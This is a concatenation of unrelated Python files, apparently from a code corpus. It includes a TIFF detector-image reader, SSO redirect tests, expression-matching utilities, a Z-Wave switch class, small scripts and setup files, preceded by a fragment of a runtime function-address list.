'0x7ffb3bb21ef0'}, {'type': 'function', 'name': '_LSnan', 'address': '0x7ffb3bb92990'}, {'type': 'function', 'name': '_Last_write_time', 'address': '0x7ffb3bb28e10'}, {'type': 'function', 'name': '_Link', 'address': '0x7ffb3bb28e70'}, {'type': 'function', 'name': '_Lock_shared_ptr_spin_lock', 'address': '0x7ffb3bb10520'}, {'type': 'function', 'name': '_Lstat', 'address': '0x7ffb3bb28eb0'}, {'type': 'function', 'name': '_Make_dir', 'address': '0x7ffb3bb28ec0'}, {'type': 'function', 'name': '_Mbrtowc', 'address': '0x7ffb3bb0eab0'}, {'type': 'function', 'name': '_Mtx_clear_owner', 'address': '0x7ffb3bb43550'}, {'type': 'function', 'name': '_Mtx_current_owns', 'address': '0x7ffb3bb0ff70'}, {'type': 'function', 'name': '_Mtx_destroy', 'address': '0x7ffb3bb43560'}, {'type': 'function', 'name': '_Mtx_destroy_in_situ', 'address': '0x7ffb3bb0ffb0'}, {'type': 'function', 'name': '_Mtx_getconcrtcs', 'address': '0x7ffb3bb435a0'}, {'type': 'function', 'name': '_Mtx_init', 'address': '0x7ffb3bb435b0'}, {'type': 'function', 'name': '_Mtx_init_in_situ', 'address': '0x7ffb3bb0fb90'}, {'type': 'function', 'name': '_Mtx_lock', 'address': '0x7ffb3bb0f6a0'}, {'type': 'function', 'name': '_Mtx_reset_owner', 'address': '0x7ffb3bb43610'}, {'type': 'function', 'name': '_Mtx_timedlock', 'address': '0x7ffb3bb43640'}, {'type': 'function', 'name': '_Mtx_trylock', 'address': '0x7ffb3bb131f0'}, {'type': 'function', 'name': '_Mtx_unlock', 'address': '0x7ffb3bb0f7c0'}, {'type': 'function', 'name': '_Mtxdst', 'address': '0x7ffb3bb220d0'}, {'type': 'function', 'name': '_Mtxinit', 'address': '0x7ffb3bb220e0'}, {'type': 'function', 'name': '_Mtxlock', 'address': '0x7ffb3bb22100'}, {'type': 'function', 'name': '_Mtxunlock', 'address': '0x7ffb3bb22110'}, {'type': 'function', 'name': '_Nan', 'address': '0x7ffb3bb929c0'}, {'type': 'function', 'name': '_Open_dir', 'address': '0x7ffb3bb28f00'}, {'type': 'function', 'name': '_Query_perf_counter', 'address': '0x7ffb3bb0fb20'}, {'type': 'function', 'name': '_Query_perf_frequency', 'address': '0x7ffb3bb0fb00'}, {'type': 'function', 'name': '_Read_dir', 'address': '0x7ffb3bb29030'}, {'type': 'function', 'name': '_Remove_dir', 'address': '0x7ffb3bb29100'}, {'type': 'function', 'name': '_Rename', 'address': '0x7ffb3bb29120'}, {'type': 'function', 'name': '_Resize', 'address': '0x7ffb3bb29150'}, {'type': 'function', 'name': '_Set_last_write_time', 'address': '0x7ffb3bb291f0'}, {'type': 'function', 'name': '_Sinh', 'address': '0x7ffb3bb22790'}, {'type': 'function', 'name': '_Snan', 'address': '0x7ffb3bb929f0'}, {'type': 'function', 'name': '_Stat', 'address': '0x7ffb3bb137f0'}, {'type': 'function', 'name': '_Statvfs', 'address': '0x7ffb3bb29280'}, {'type': 'function', 'name': '_Stod', 'address': '0x7ffb3bb22910'}, {'type': 'function', 'name': '_Stodx', 'address': '0x7ffb3bb22920'}, {'type': 'function', 'name': '_Stof', 'address': '0x7ffb3bb22b80'}, {'type': 'function', 'name': '_Stofx', 'address': '0x7ffb3bb22b90'}, {'type': 'function', 'name': '_Stold', 'address': '0x7ffb3bb23080'}, {'type': 'function', 'name': '_Stoldx', 'address': '0x7ffb3bb23090'}, {'type': 'function', 'name': '_Stoll', 'address': '0x7ffb3bb232f0'}, {'type': 'function', 'name': '_Stollx', 'address': '0x7ffb3bb23300'}, {'type': 'function', 'name': '_Stolx', 'address': '0x7ffb3bb03ef0'}, {'type': 'function', 'name': '_Stoul', 'address': '0x7ffb3bb23580'}, {'type': 'function', 'name': '_Stoull', 'address': '0x7ffb3bb23590'}, {'type': 'function', 'name': '_Stoullx', 'address': '0x7ffb3bb235a0'}, {'type': 'function', 'name': '_Stoulx', 'address': '0x7ffb3bb03fb0'}, {'type': 'function', 'name': '_Strcoll', 'address': '0x7ffb3bb23a90'}, {'type': 'function', 'name': '_Strxfrm', 'address': '0x7ffb3bb23b70'}, {'type': 'function', 'name': '_Symlink', 'address': '0x7ffb3bb29390'}, {'type': 'function', 'name': '_Symlink_get', 'address': '0x7ffb3bb293d0'}, {'type': 'function', 'name': '_Temp_get', 'address': '0x7ffb3bb293e0'}, {'type': 'function', 'name': '_Thrd_abort', 'address': '0x7ffb3bb421e0'}, {'type': 'function', 'name': '_Thrd_create', 'address': '0x7ffb3bb24af0'}, {'type': 'function', 'name': '_Thrd_current', 'address': '0x7ffb3bb24bb0'}, {'type': 'function', 'name': '_Thrd_detach', 'address': '0x7ffb3bb10b90'}, {'type': 'function', 'name': '_Thrd_equal', 'address': '0x7ffb3bb24be0'}, {'type': 'function', 'name': '_Thrd_exit', 'address': '0x7ffb3bb24c00'}, {'type': 'function', 'name': '_Thrd_hardware_concurrency', 'address': '0x7ffb3bb14420'}, {'type': 'function', 'name': '_Thrd_id', 'address': '0x7ffb3bb0fbd0'}, {'type': 'function', 'name': '_Thrd_join', 'address': '0x7ffb3bb10b20'}, {'type': 'function', 'name': '_Thrd_sleep', 'address': '0x7ffb3bb24c10'}, {'type': 'function', 'name': '_Thrd_start', 'address': '0x7ffb3bb24c90'}, {'type': 'function', 'name': '_Thrd_yield', 'address': '0x7ffb3bb13860'}, {'type': 'function', 'name': '_To_byte', 'address': '0x7ffb3bb29450'}, {'type': 'function', 'name': '_To_wide', 'address': '0x7ffb3bb29490'}, {'type': 'function', 'name': '_Tolower', 'address': '0x7ffb3bb12d00'}, {'type': 'function', 'name': '_Toupper', 'address': '0x7ffb3bb1f640'}, {'type': 'function', 'name': '_Towlower', 'address': '0x7ffb3bb10380'}, {'type': 'function', 'name': '_Towupper', 'address': '0x7ffb3bb23c80'}, {'type': 'function', 'name': '_Unlink', 'address': '0x7ffb3bb294c0'}, {'type': 'function', 'name': '_Unlock_shared_ptr_spin_lock', 'address': '0x7ffb3bb10730'}, {'type': 'function', 'name': '_WStod', 'address': '0x7ffb3bb23f20'}, {'type': 'function', 'name': '_WStodx', 'address': '0x7ffb3bb23f30'}, {'type': 'function', 'name': '_WStof', 'address': '0x7ffb3bb24190'}, {'type': 'function', 'name': '_WStofx', 'address': '0x7ffb3bb241a0'}, {'type': 'function', 'name': '_WStold', 'address': '0x7ffb3bb246a0'}, {'type': 'function', 'name': '_WStoldx', 'address': '0x7ffb3bb246b0'}, {'type': 'function', 'name': '_Wcrtomb', 'address': '0x7ffb3bb126d0'}, {'type': 'function', 'name': '_Wcscoll', 'address': '0x7ffb3bb23d00'}, {'type': 'function', 'name': '_Wcsxfrm', 'address': '0x7ffb3bb23df0'}, {'type': 'function', 'name': '_Xtime_diff_to_millis', 'address': '0x7ffb3bb24ed0'}, {'type': 'function', 'name': '_Xtime_diff_to_millis2', 'address': '0x7ffb3bb0f930'}, {'type': 'function', 'name': '_Xtime_get_ticks', 'address': '0x7ffb3bb0fcb0'}, {'type': 'function', 'name': '__Wcrtomb_lk', 'address': '0x7ffb3bb23f10'}, {'type': 'function', 'name': '__crtCompareStringA', 'address': '0x7ffb3bb453b0'}, {'type': 'function', 'name': '__crtCompareStringW', 'address': '0x7ffb3bb45710'}, {'type': 'function', 'name': '__crtLCMapStringA', 'address': '0x7ffb3bb457e0'}, {'type': 'function', 'name': '__crtLCMapStringW', 'address': '0x7ffb3bb45ae0'}, {'type': 'function', 'name': '__set_stl_sync_api_mode', 'address': '0x7ffb3bb081f0'}, {'type': 'function', 'name': 'xtime_get', 'address': '0x7ffb3bb24f20'}]
python
#!/usr/bin/env python # FormatTIFFRayonixESRF.py # Copyright (C) 2011 Diamond Light Source, Graeme Winter # # This code is distributed under the BSD license, a copy of which is # included in the root directory of this package. # # Sub class of FormatTiffRayonix to deal with images who have beam centers # specified in pixels # from __future__ import absolute_import, division, print_function import struct from dxtbx.format.FormatTIFFRayonix import FormatTIFFRayonix class FormatTIFFRayonixESRF(FormatTIFFRayonix): '''A class for reading TIFF format Rayonix images, and correctly constructing a model for the experiment from this.''' @staticmethod def understand(image_file): '''Check to see if this looks like an Rayonix TIFF format image, i.e. we can make sense of it. Returns true if the beam center is specified in pixels.''' width, height, depth, order, bytes = FormatTIFFRayonix.get_tiff_header( image_file) import struct from scitbx.matrix import col from dxtbx.format.FormatTIFFHelpers import LITTLE_ENDIAN, BIG_ENDIAN format = {LITTLE_ENDIAN:'<', BIG_ENDIAN:'>'}[order] offset = 1024 detector_size_pixels = col(struct.unpack(format+'ii',bytes[offset+80:offset+88])) detector_center_px = 0.5 * detector_size_pixels detector_pixel_sz_mm = 1.E-6 * col( # convert from nano to milli struct.unpack(format+'ii',bytes[offset+772:offset+780])) header_beam_center = 0.001 * col( # Rayonix says this should be pixels struct.unpack(format+'ii',bytes[offset+644:offset+652])) disagreement = header_beam_center[0]/detector_center_px[0] return header_beam_center[0] > 0 and header_beam_center[1] > 0 \ and disagreement < 0.5 # if header was in mm, disagreement should be # approximately the pixel size in mm def __init__(self, image_file, **kwargs): '''Initialise the image structure from the given file, including a proper model of the experiment.''' from dxtbx import IncorrectFormatError if not self.understand(image_file): raise IncorrectFormatError(self, image_file) FormatTIFFRayonix.__init__(self, image_file, **kwargs) return def _goniometer(self): '''Return a model for goniometer corresponding to the values stored in the image header. In the first instance assume this is a single axis annd raise exception otherwise.''' starts, ends, offset, width = self._get_rayonix_scan_angles() # not testing as this the CLS images are not properly structured... # and also don't have a serial number in (FAIL) return self._goniometer_factory.single_axis() #################################################################### # # # Helper methods to get all of the values out of the TIFF header # # - separated out to assist with code clarity # # # #################################################################### def _get_rayonix_beam_xy(self): '''Get the beam x, y positions which are defined in the standard to be in pixels. X and Y are not defined by the documentation, so taking as a given that these are horizontal and vertical. N.B. the documentation states that the horizontal direction is fast.''' beam_x, beam_y = struct.unpack( self._ii, self._tiff_header_bytes[1668:1676])[:2] pixel_x, pixel_y = struct.unpack( self._ii, self._tiff_header_bytes[1796:1804])[:2] return beam_x * 1000 / pixel_x, beam_y * 1000 / pixel_y if __name__ == '__main__': import sys for arg in sys.argv[1:]: print(FormatTIFFRayonixESRF.understand(arg))
python
from unittest.mock import Mock import pytest from sso.user import context_processors @pytest.fixture def request_with_next_user_authenticated(rf): request = rf.get('/', {'next': 'http://www.example.com'}) request.user = Mock(is_authenticated=Mock(return_value=True)) return request @pytest.fixture def request_without_next_user_authenticated(rf): request = rf.get('/') request.user = Mock(is_authenticated=Mock(return_value=True)) return request @pytest.fixture def request_with_next_no_user(rf): request = rf.get('/', {'next': 'http://www.example.com'}) request.user = None return request @pytest.fixture def request_without_next_no_user(rf): request = rf.get('/') request.user = None return request def test_redirect_next_processor_installed(settings): context_processors = settings.TEMPLATES[0]['OPTIONS']['context_processors'] expected = 'sso.user.context_processors.redirect_next_processor' assert expected in context_processors def test_redirect_next_processor_appends_next_param_user_authenticated(request_with_next_user_authenticated): context = context_processors.redirect_next_processor(request_with_next_user_authenticated) assert context['redirect_field_name'] == 'next' assert context['redirect_field_value'] == 'http://www.example.com' assert context['sso_logout_url'] == ('/accounts/logout/?next=http%3A%2F%2Fwww.example.com') assert context['sso_login_url'] == ('/accounts/login/?next=http%3A%2F%2Fwww.example.com') assert context['sso_reset_password_url'] == ('/accounts/password/reset/?next=http%3A%2F%2Fwww.example.com') assert context['sso_register_url'] == ( 'http://profile.trade.great:8006/profile/enrol/?next=http%3A%2F%2Fwww.example.com' ) assert context['sso_is_logged_in'] is True def test_redirect_next_processor_handles_no_next_param_user_authenticated( request_without_next_user_authenticated, settings ): context = context_processors.redirect_next_processor(request_without_next_user_authenticated) assert context['redirect_field_name'] == 'next' assert context['redirect_field_value'] == settings.DEFAULT_REDIRECT_URL assert context['sso_logout_url'] == ('/accounts/logout/?next=http%3A%2F%2Fprofile.trade.great%3A8006%2Fprofile%2F') assert context['sso_login_url'] == ('/accounts/login/?next=http%3A%2F%2Fprofile.trade.great%3A8006%2Fprofile%2F') assert context['sso_reset_password_url'] == ( '/accounts/password/reset/?next=http%3A%2F%2Fprofile.trade.great%3A8006%2Fprofile%2F' ) assert context['sso_register_url'] == ( 'http://profile.trade.great:8006/profile/enrol/?next=http%3A%2F%2Fprofile.trade.great%3A8006%2Fprofile%2F' ) assert context['sso_is_logged_in'] is True def test_redirect_next_processor_appends_next_param_no_user(request_with_next_no_user): context = context_processors.redirect_next_processor(request_with_next_no_user) assert context['redirect_field_name'] == 'next' assert context['redirect_field_value'] == 'http://www.example.com' assert context['sso_logout_url'] == ('/accounts/logout/?next=http%3A%2F%2Fwww.example.com') assert context['sso_login_url'] == ('/accounts/login/?next=http%3A%2F%2Fwww.example.com') assert context['sso_reset_password_url'] == ('/accounts/password/reset/?next=http%3A%2F%2Fwww.example.com') assert context['sso_register_url'] == ( 'http://profile.trade.great:8006/profile/enrol/?next=http%3A%2F%2Fwww.example.com' ) assert context['sso_is_logged_in'] is False def test_redirect_next_processor_handles_no_next_param_no_user(request_without_next_no_user, settings): context = context_processors.redirect_next_processor(request_without_next_no_user) assert context['redirect_field_name'] == 'next' assert context['redirect_field_value'] == settings.DEFAULT_REDIRECT_URL assert context['sso_logout_url'] == ('/accounts/logout/?next=http%3A%2F%2Fprofile.trade.great%3A8006%2Fprofile%2F') assert context['sso_login_url'] == ('/accounts/login/?next=http%3A%2F%2Fprofile.trade.great%3A8006%2Fprofile%2F') assert context['sso_reset_password_url'] == ( '/accounts/password/reset/?next=http%3A%2F%2Fprofile.trade.great%3A8006%2Fprofile%2F' ) assert context['sso_register_url'] == ( 'http://profile.trade.great:8006/profile/enrol/?next=http%3A%2F%2Fprofile.trade.great%3A8006%2Fprofile%2F' ) assert context['sso_is_logged_in'] is False def test_new_enrolment_url(request_with_next_no_user): context = context_processors.redirect_next_processor(request_with_next_no_user) assert context['sso_register_url'] == ( 'http://profile.trade.great:8006/profile/enrol/?next=http%3A%2F%2Fwww.example.com' )
python
from typing import Dict from .expressions import ( Expression, Operation, Wildcard, AssociativeOperation, CommutativeOperation, SymbolWildcard, Pattern, OneIdentityOperation ) __all__ = [ 'is_constant', 'is_syntactic', 'get_head', 'match_head', 'preorder_iter', 'preorder_iter_with_position', 'is_anonymous', 'contains_variables_from_set', 'register_operation_factory', 'create_operation_expression', 'rename_variables', 'op_iter', 'op_len', 'register_operation_iterator', 'get_variables' ] def is_constant(expression): """Check if the given expression is constant, i.e. it does not contain Wildcards.""" if isinstance(expression, Wildcard): return False if isinstance(expression, Expression): return expression.is_constant if isinstance(expression, Operation): return all(is_constant(o) for o in op_iter(expression)) return True def is_syntactic(expression): """ Check if the given expression is syntactic, i.e. it does not contain sequence wildcards or associative/commutative operations. """ if isinstance(expression, Wildcard): return expression.fixed_size if isinstance(expression, Expression): return expression.is_syntactic if isinstance(expression, (AssociativeOperation, CommutativeOperation)): return False if isinstance(expression, Operation): return all(is_syntactic(o) for o in op_iter(expression)) return True def get_head(expression): """Returns the given expression's head.""" if isinstance(expression, Wildcard): if isinstance(expression, SymbolWildcard): return expression.symbol_type return None return type(expression) def match_head(subject, pattern): """Checks if the head of subject matches the pattern's head.""" if isinstance(pattern, Pattern): pattern = pattern.expression pattern_head = get_head(pattern) if pattern_head is None: return True if issubclass(pattern_head, OneIdentityOperation): return True subject_head = get_head(subject) assert subject_head is not None return issubclass(subject_head, pattern_head) def preorder_iter(expression): """Iterate over the expression in preorder.""" yield expression if isinstance(expression, Operation): for operand in op_iter(expression): yield from preorder_iter(operand) def preorder_iter_with_position(expression): """Iterate over the expression in preorder. Also yields the position of each subexpression. """ yield expression, () if isinstance(expression, Operation): for i, operand in enumerate(op_iter(expression)): for child, pos in preorder_iter_with_position(operand): yield child, (i, ) + pos def is_anonymous(expression): """Returns True iff the expression does not contain any variables.""" if hasattr(expression, 'variable_name') and expression.variable_name: return False if isinstance(expression, Operation): return all(is_anonymous(o) for o in op_iter(expression)) return True def contains_variables_from_set(expression, variables): """Returns True iff the expression contains any of the variables from the given set.""" if hasattr(expression, 'variable_name') and expression.variable_name in variables: return True if isinstance(expression, Operation): return any(contains_variables_from_set(o, variables) for o in op_iter(expression)) return False def get_variables(expression, variables=None): """Returns the set of variable names in the given expression.""" if variables is None: variables = set() if hasattr(expression, 'variable_name') and expression.variable_name is not None: variables.add(expression.variable_name) if isinstance(expression, Operation): for operand in op_iter(expression): get_variables(operand, variables) return variables def rename_variables(expression: Expression, renaming: Dict[str, str]) -> Expression: """Rename the variables in the expression according to the given dictionary. Args: expression: The expression in which the variables are renamed. renaming: The renaming dictionary. Maps old variable names to new ones. Variable names not occuring in the dictionary are left unchanged. Returns: The expression with renamed variables. """ if isinstance(expression, Operation): if hasattr(expression, 'variable_name'): variable_name = renaming.get(expression.variable_name, expression.variable_name) return create_operation_expression( expression, [rename_variables(o, renaming) for o in op_iter(expression)], variable_name=variable_name ) operands = [rename_variables(o, renaming) for o in op_iter(expression)] return create_operation_expression(expression, operands) elif isinstance(expression, Expression): expression = expression.__copy__() expression.variable_name = renaming.get(expression.variable_name, expression.variable_name) return expression def simple_operation_factory(op, args, variable_name): if variable_name not in (True, False, None): raise NotImplementedError('Expressions of type {} cannot have a variable name.'.format(type(op))) return type(op)(args) _operation_factories = { list: simple_operation_factory, tuple: simple_operation_factory, set: simple_operation_factory, frozenset: simple_operation_factory, dict: simple_operation_factory, } _operation_iterators = { dict: (lambda d: d.items(), len), } def register_operation_factory(operation, factory): _operation_factories[operation] = factory def register_operation_iterator(operation, iterator=iter, length=len): _operation_iterators[operation] = (iterator, length) def create_operation_expression(old_operation, new_operands, variable_name=True): operation = type(old_operation) for parent in operation.__mro__: if parent in _operation_factories: return _operation_factories[parent](old_operation, new_operands, variable_name) if variable_name is True: variable_name = getattr(old_operation, 'variable_name', None) if variable_name is False: return operation(*new_operands) return operation(*new_operands, variable_name=variable_name) def op_iter(operation): op_type = type(operation) for parent in op_type.__mro__: if parent in _operation_iterators: iterator, _ = _operation_iterators[parent] return iterator(operation) return iter(operation) def op_len(operation): op_type = type(operation) for parent in op_type.__mro__: if parent in _operation_iterators: _, length = _operation_iterators[parent] return length(operation) return len(operation)
python
from openzwave.network import ZWaveNode from openzwave.value import ZWaveValue from Firefly import logging from Firefly.components.zwave.zwave_device import ZwaveDevice from Firefly.const import ACTION_OFF, ACTION_ON, AUTHOR, DEVICE_TYPE_SWITCH, LEVEL, SWITCH from Firefly.helpers.device_types.switch import Switch from Firefly.util.zwave_command_class import COMMAND_CLASS_METER, COMMAND_CLASS_SWITCH_MULTILEVEL BATTERY = 'battery' ALARM = 'alarm' POWER_METER = 'power_meter' VOLTAGE_METER = 'voltage_meter' CURRENT = 'power_current' CURRENT_ENERGY_READING = 'current_energy_reading' PREVIOUS_ENERGY_READING = 'previous_energy_reading' VOLTAGE = 'voltage' WATTS = 'watts' COMMANDS = [ACTION_OFF, ACTION_ON, LEVEL] REQUESTS = [ALARM, BATTERY, SWITCH, CURRENT, VOLTAGE, WATTS, LEVEL] CAPABILITIES = { ALARM: False, BATTERY: False, LEVEL: False, POWER_METER: False, SWITCH: True, } class ZwaveSwitch(Switch, ZwaveDevice): def __init__(self, firefly, package, title='Zwave Switch', initial_values={}, **kwargs): if kwargs.get('commands') is not None: commands = kwargs.get('commands') kwargs.pop('commands') else: commands = COMMANDS if kwargs.get('requests') is not None: requests = kwargs.get('requests') kwargs.pop('requests') else: requests = REQUESTS if kwargs.get('capabilities') is not None: capabilities = kwargs.get('capabilities') kwargs.pop('capabilities') else: capabilities = CAPABILITIES super().__init__(firefly, package, title, AUTHOR, commands, requests, DEVICE_TYPE_SWITCH, capabilities=capabilities, initial_values=initial_values, **kwargs) def update_from_zwave(self, node: ZWaveNode = None, ignore_update=False, values: ZWaveValue = None, values_only=False, **kwargs): if node is None: return self._node = node if values is None: super().update_from_zwave(node, **kwargs) logging.message('ZWAVE SWITCH SENSOR NO VALUES GIVEN') return label = values.label if label == 'Switch': self.update_values(switch=values.data) self.value_map[values.label] = values.value_id elif label == 'Battery Level': self.update_values(battery=values.data) self.value_map[values.label] = values.value_id elif values.command_class == COMMAND_CLASS_METER: self.value_map[values.label] = values.value_id if label == 'Energy': self.update_values(current_energy_reading=values.data) if label == 'Previous Reading': self.update_values(previous_energy_reading=values.data) if label == 'Power': self.update_values(watts=values.data) if label == 'Voltage': self.update_values(voltage=values.data) if label == 'Current': self.update_values(power_current=values.data) elif label == 'Level' and values.command_class == COMMAND_CLASS_SWITCH_MULTILEVEL and self.capabilities[LEVEL] is True: self.value_map[values.label] = values.value_id level = node.get_dimmer_level(self.value_map[values.label]) self.update_values(level=level) if values.data > 0: self.update_values(switch=True) else: self.update_values(switch=False) else: logging.info('[ZWAVE DEVICE] recieved data for label: %s' % label) super().update_from_zwave(node, **kwargs) def set_switch(self, switch=None, **kwargs): if switch is None: return on = switch == ACTION_ON # Now do the switching if self.value_map.get('Switch') is not None: switch_id = self.value_map['Switch'] self._node.set_switch(switch_id, on) # For dimmers you have to set the dimmer to what it was before then turn on switch elif self.capabilities[LEVEL] is True: if self.value_map.get('Level') is None: return dimmer_id = self.value_map['Level'] if on: self._node.set_dimmer(dimmer_id, 255) else: self._node.set_dimmer(dimmer_id, 0) self._node.refresh_value(dimmer_id) def set_level(self, level=None, **kwargs): logging.debug('LEVEL: %s' % str(level)) if level is None: return if type(level) is not int: return if self.value_map.get('Level') is None: return dimmer_id = self.value_map['Level'] self._node.set_dimmer(dimmer_id, level)
python
import signal import os import subprocess # Initializes a multi processing worker and prevents the interupt signal to be handled. This should be handled by the # parent process. def init_worker(): signal.signal(signal.SIGINT, signal.SIG_IGN) def minimal_ext_cmd(cmd): # construct minimal environment env = {} for k in ['SYSTEMROOT', 'PATH']: v = os.environ.get(k) if v is not None: env[k] = v # LANGUAGE is used on win32 env['LANGUAGE'] = 'C' env['LANG'] = 'C' env['LC_ALL'] = 'C' cwd = os.path.dirname(os.path.realpath(__file__)) FNULL = open(os.devnull, 'w') o = subprocess.Popen(cmd, stdout=subprocess.PIPE, env=env, cwd=cwd, stderr=FNULL).communicate()[0] return o
python
"""Unit test package for aioxmppd."""
python
#! /usr/bin/env python3 # coding: utf-8 # flow@SEA # Licensed under the MIT License. import time import hashlib import datetime from binascii import unhexlify from base58 import b58encode, b58decode class CommonTool: @staticmethod def now(): return time.time() @staticmethod def sci_to_str(sciStr): '''科学计数法转换成字符串''' assert type('str')==type(sciStr),'invalid format' if 'E' not in sciStr: return sciStr s = '%.10f' % float(sciStr) while '0' == s[-1] and '.' in s: s = s[:-1] if '.' == s[-1]: s = s[:-1] return s @staticmethod def big_or_little(arr): '''大小端互转''' arr = bytearray(str(arr),'ascii') length = len(arr) for idx in range(length//2): if idx%2 == 0: arr[idx], arr[length-2-idx] = arr[length-2-idx], arr[idx] else: arr[idx], arr[length - idx] = arr[length - idx], arr[idx] return arr.decode('ascii') @staticmethod def timestamp_to_utc(timestamp): return datetime.datetime.utcfromtimestamp(timestamp) @staticmethod def hash256(b): return hashlib.sha256(hashlib.sha256(b).digest()).digest() @classmethod def validate_address(cls, address): if len(address) not in [33,34]: return False if 'A' != address[0]: return False tmp = b58decode(address) x,check = tmp[:-4],tmp[-4:] return cls.hash256(x)[:4] == check @classmethod def scripthash_to_address(cls, sh): tmp = unhexlify('17' + sh) tmp = b58encode(tmp + cls.hash256(tmp)[:4]) if isinstance(tmp, bytes): return tmp.decode('utf8') return tmp @classmethod def hex_to_biginteger(cls, fixed8_str): if not fixed8_str: return 0 hex_str = cls.big_or_little(fixed8_str) return int('0x' + hex_str, 16)
python
class Solution(object): def wordBreak(self, s, wordDict): """ :type s: str :type wordDict: List[str] :rtype: bool """ s_len = len(s) dp = [False] * (s_len+1) dp[0] = True for i in range(s_len): for j in range(i+1, n+1): if dp[i] and s[i:j] in wordDict: dp[j] = True return dp[-1]
python
import matplotlib.pyplot as plt import numpy as np from PIL import Image # input is a H*W ndarray def display(npimg): plt.imshow(npimg, cmap='gray') plt.show() if __name__ == '__main__': images_path = "./HCL2000-100/HCL2000_100_train.npz" labels_path = "./HCL2000-100/HCL2000_100_train_label.npz" images_data = np.load(images_path) labels_data = np.load(labels_path) print(images_data) print(labels_data) images = images_data["arr_0"] labels = labels_data["arr_0"] print(images.shape) print(labels.shape) # 1张图里显示4张子图,r代表reverse plt.figure() plt.subplot(221) plt.imshow(images[0].reshape((28, 28)), cmap=plt.cm.gray) plt.subplot(222) plt.imshow(images[1].reshape((28, 28)), cmap=plt.cm.gray_r) plt.subplot(223) plt.imshow(images[2].reshape((28, 28)), cmap='gray') plt.subplot(224) plt.imshow(images[2].reshape((28, 28)), cmap='gray_r') plt.show() plt.figure() pilimage = Image.fromarray(images[3].reshape((28, 28)), 'L') pilimage = pilimage.resize((224, 224)) plt.imshow(pilimage, cmap='gray_r') plt.show() # 分别显示4张图 for i in (x + 4 for x in range(4)): plt.figure() plt.imshow(images[i].reshape((28, 28)), cmap=plt.cm.gray) print('id:', i) print('label:', labels[i]) print('size:', images[i].size) plt.show()
python
import socket host, port = '', 8888 listen_socket = socket.socket(socket.AF_INET,socket.SOCK_STREAM) listen_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) listen_socket.bind((host, port)) listen_socket.listen(1) print("listening on port %s" % port) while True: client_connection, client_address = listen_socket.accept() request = client_connection.recv(1024) print(request) http_response = 'hello world, this is a custom server' client_connection.sendall(bytes(http_response.encode('utf-8'))) client_connection.close()
python
import sys from setuptools import setup from setuptools.command.test import test as TestCommand packageName = "arthur" import re versionLine = open("{0}/_version.py".format(packageName), "rt").read() match = re.search(r"^__version__ = ['\"]([^'\"]*)['\"]", versionLine, re.M) versionString = match.group(1) class Tox(TestCommand): def finalize_options(self): TestCommand.finalize_options(self) self.test_suite = True def run_tests(self): #import here, cause outside the eggs aren't loaded import tox sys.exit(tox.cmdline([])) setup(name=packageName, version=versionString, description='Software for the exercises in Crypto 101, the introductory ' 'book on cryptography.', long_description=open("README.rst").read(), url='https://github.com/crypto101/' + packageName, author='Laurens Van Houtven', author_email='[email protected]', packages=["arthur", "arthur.test"], test_suite="arthur.test", cmdclass={'test': Tox}, zip_safe=True, license='ISC', keywords="crypto urwid twisted", classifiers=[ "Development Status :: 3 - Alpha", "Environment :: Console", "Framework :: Twisted", "Intended Audience :: Education", "License :: OSI Approved :: ISC License (ISCL)", "Programming Language :: Python :: 2 :: Only", "Programming Language :: Python :: 2.6", "Programming Language :: Python :: 2.7", "Topic :: Education", "Topic :: Games/Entertainment", "Topic :: Security :: Cryptography", ] )
python
import os from pip._vendor.colorama import Fore from ws.RLUtils.monitoring.tracing.log_mgt import log_mgt if __name__ == '__main__': cwd = os.path.curdir acwd = os.path.join(cwd, '_tests') log_dir = os.path.join(acwd, "logs") fn_log = log_mgt(log_dir, show_debug=False, fixed_log_file=False)[0] color_red_foreground = Fore.RED fn_log('1. show_debug = False, debug=True', color=color_red_foreground, debug=True) fn_log('2. show_debug = False, debug=False', color=color_red_foreground, debug=False)
python
real = float ( input(' Digite o valor em reais: R$')) #dola = 5.34 dola = real / 5.34 euro = real / 6.25 print (' Convertendo o valor de R${:.2f}, você consegue US${:.2f} ou €{:.2f}.' .format( real,dola, euro)) #print (' Convertendo o valor de R${:.2f}, você consegue US${:.2f} ou € {:.2f}.'.format(real,(real/dola))) ''' Crie um programa que leia quanto dinheiro uma pessoa tem na carteira e mostre quantos dólares ela pode comprar.'''
python
# -*- coding: utf-8 -*- from openprocurement.auctions.core.tests.base import snitch from openprocurement.auctions.core.tests.blanks.contract_blanks import ( # AuctionContractResourceTest create_auction_contract_invalid, get_auction_contracts, # AuctionContractDocumentResourceTest not_found, create_auction_contract_document, put_auction_contract_document, patch_auction_contract_document, # Auction2LotContractDocumentResourceTest create_auction_2_lot_contract_document, put_auction_2_lot_contract_document, patch_auction_2_lot_contract_document, ) class AuctionContractResourceTestMixin(object): test_create_auction_contract_invalid = snitch(create_auction_contract_invalid) test_get_auction_contracts = snitch(get_auction_contracts) class AuctionContractDocumentResourceTestMixin(object): test_not_found = snitch(not_found) test_create_auction_contract_document = snitch(create_auction_contract_document) test_put_auction_contract_document = snitch(put_auction_contract_document) test_patch_auction_contract_document = snitch(patch_auction_contract_document) class Auction2LotContractDocumentResourceTestMixin(object): test_create_auction_2_lot_contract_document = snitch(create_auction_2_lot_contract_document) test_put_auction_2_lot_contract_document = snitch(put_auction_2_lot_contract_document) test_patch_auction_2_lot_contract_document = snitch(patch_auction_2_lot_contract_document)
python
matrix = [ #0, 1, 2, 3, 4, 5, 6, 7], #0 [0, 1, 1, 0, 0, 0, 0, 0], #0 [1, 0, 1, 1, 0, 0, 0, 0], #1 [1, 1, 0, 0, 0, 0, 0, 0], #2 [0, 1, 0, 0, 1, 1, 0, 0], #3 [0, 0, 0, 1, 0, 0, 1, 0], #4 [0, 0, 0, 1, 0, 0, 1, 0], #5 [0, 0, 0, 0, 1, 1, 0, 1], #6 [0, 0, 0, 0, 0, 0, 1, 0], #7 ] def convert_to_adjacency(): adjacency = {} for i, array in enumerate(matrix): adjacency[i] = [] for j, v in enumerate(array): if v == 1: adjacency[i].append(j) return adjacency import pprint output = convert_to_adjacency() pprint(output)
python
from code.cli import Cli if __name__ == '__main__': Cli().run()
python
